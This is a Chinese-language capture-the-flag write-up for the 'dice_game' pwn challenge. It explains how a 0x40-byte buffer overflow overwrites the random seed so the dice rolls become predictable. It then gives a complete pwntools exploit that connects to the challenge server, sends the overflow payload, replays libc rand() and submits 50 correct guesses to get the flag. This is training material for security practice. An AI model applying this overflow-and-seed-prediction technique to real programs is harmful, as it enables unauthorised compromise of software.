攻防世界dice_game(pwn)

dice_game

题目考察:rand()生成的随机数和随机种子seed()有关,通过观察题目,可以发现存在溢出漏洞,通过输入可以覆盖到seed(),实现一个可预测的随机数列。

题目分析

攻防世界dice_game(pwn)_第1张图片

这边就可以看到,buf覆盖0x40位就能覆盖到seed。
攻防世界dice_game(pwn)_第2张图片

sub_A20()如下,就是比较你输入的数是否和产生的随机数相等。
攻防世界dice_game(pwn)_第3张图片
当回答正确50次时,会执行sub_B28这个函数,读取flag。
攻防世界dice_game(pwn)_第4张图片

所以我们要做的就是,将seed覆盖掉,并且去预测生成的随机数。

exp

from pwn import *
from ctypes import *
p=remote('111.198.29.45','51654')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*"a"+p64(0)
p.sendline(payload)

a=[]
for i in range(50):
	a.append(libc.rand()%6+1)
print(a)
for i in a:
	p.recv()
	print(p.recv())
	p.sendline(str(i))
p.interactive()

攻防世界dice_game(pwn)_第5张图片

你可能感兴趣的:(PWN)